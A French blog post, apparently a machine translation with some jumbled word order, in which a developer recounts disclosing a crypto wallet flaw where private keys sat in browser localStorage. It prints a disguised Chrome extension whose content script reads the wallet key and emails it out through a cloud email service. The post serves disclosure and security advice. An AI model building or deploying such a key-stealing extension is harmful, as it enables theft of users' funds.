En janvier 2022, j’ai rejoint la communauté d’une des blockchains proof-of-stake. Pour jouer avec ce que proposait le protocole et son écosystème, j'ai créé un compte wallet sur le site officiel . Outre la curiosité générale, j'étais intéressé par la manière dont ils assuraient la sécurité dans un navigateur, en particulier à l'ère des extensions et des vulnérabilités côté client. https://wallet.****.org Il s'est avéré que lorsqu'un utilisateur se connectait, l'application de portefeuille (intégrée à React) générait un ensemble de clés publiques et privées et les stockait dans le stockage local du navigateur. Avec mon expérience dans la création d'authentification et d'autorisation dans des systèmes distribués, je savais que ce n'était pas la meilleure chose à faire – en général, il est facile pour une extension de navigateur et un code côté client de lire les données du stockage local[ ]. 1 Pour le prouver, j'ai décidé qui récupérerait les clés du navigateur d'une victime et les enverrait à mon adresse e-mail anonyme. d'écrire une simple extension pour Chrome Le répertoire racine de mon extension pickpocket ressemblait à ceci : . ├── content.js ├── email.min.js ├── index.html └── manifest.json Les fichiers principaux sont et . Le premier est indispensable pour installer l’extension. manifest.json content.js { "name": "X Wallet Enhancement", "version": "1.0", "manifest_version": 3, "content_scripts": [ { "matches": [ "https://wallet.****.org/*" ], "js": [ "email.min.js", "content.js" ] } ] } n'est qu'une bibliothèque client de l'un des services cloud qui vous permet d'envoyer des e-mails directement depuis un navigateur sans aucun code serveur. est une page HTML vierge qui n'affiche rien. La logique du détournement de portefeuille résidait dans le fichier : email.min.js index.html content.js emailjs.init('user_****'); // instantiating an email delivery service let templateParams = { // gathering information about the victim's browser from_name: navigator.userAgent, // fetching wallet keys from the local storage storage: window.localStorage.getItem('_*:wallet:active_account_id_**'), }; // using a prepared email template to send an email with keys const serviceID = 'service_****'; const templateID = 'template_****'; emailjs.send(serviceID, templateID, templateParams) .then(() => { console.log("Wallet keys were send!"); }, (err) => { console.error(JSON.stringify(err)); }); Oui, un script tellement factice. J'ai emballé les quatre fichiers dans une archive zip et j'ai gentiment demandé à mon ami, qui possédait également un portefeuille sur , d'installer ma création dans son navigateur (en faisant semblant de faire de l'ingénierie sociale). Avant de le faire, je lui ai fait part de mes découvertes et de la théorie que j'essayais de prouver. Il était heureux de m'aider et les clés publiques et privées de ce compte portefeuille sont apparues dans ma boîte de réception quelques secondes après l'installation de l'extension du navigateur. Ensuite, j'ai enregistré les clés du stockage local dans mon navigateur et ouvert le site Web du portefeuille. https://wallet.***.org Étonnamment, le solde du portefeuille cryptographique de mon ami était à ma disposition, ainsi qu'une option de retrait des fonds. Lors d'un appel Zoom avec mon ami victime, j'ai transféré une partie de ses fonds vers un compte anonyme et inversement. C'était hallucinant ! Une nouvelle blockchain prometteuse qui avait récemment clôturé un cycle d’investissement présentait une vulnérabilité majeure dans son portefeuille. Pire encore, ils disposaient d’une authentification à 2 facteurs pour les utilisateurs. Bien sûr, peu de gens l’activeraient immédiatement, et beaucoup ne l’ont pas fait. En tant que développeur éthique, j'ai créé un rapport de vulnérabilité, comprenant le code source de l'extension du navigateur et mes réflexions sur la façon d'améliorer la sécurité de l'application Web. Il a été envoyé directement à l'adresse e-mail de l'équipe de sécurité le 18 janvier. Quelques jours plus tard, j'ai eu un appel avec le RSSI du protocole blockchain, qui m'a assuré qu'il était au courant du problème et qu'il le réglerait dans la prochaine version. J'ai été un peu déçu de la rapidité de la réponse à l'incident. Deux jours, c'est une éternité quand on parle de l'argent des utilisateurs. Néanmoins, les développeurs de blockchain m'ont accordé leurs tokens pour un montant équivalent à 1000 USDT. 👉🏻 soyez conscient des technologies que vous utilisez et de leurs aspects de sécurité. Conseil aux développeurs d'applications : 💡 découvrez quelles options de sécurité une organisation vous propose, activez l'authentification à deux facteurs dès que vous créez un compte wallet, ne stockez pas tous vos fonds dans des hot wallets. Conseils aux utilisateurs de crypto : A lire L’utilisation de LocalStorage est-elle sûre ? | Snyk Veuillez cesser d'utiliser le stockage local Utilisation des cookies HTTP - HTTP | MDN HttpSeulement | Fondation OWASP Également publié . ici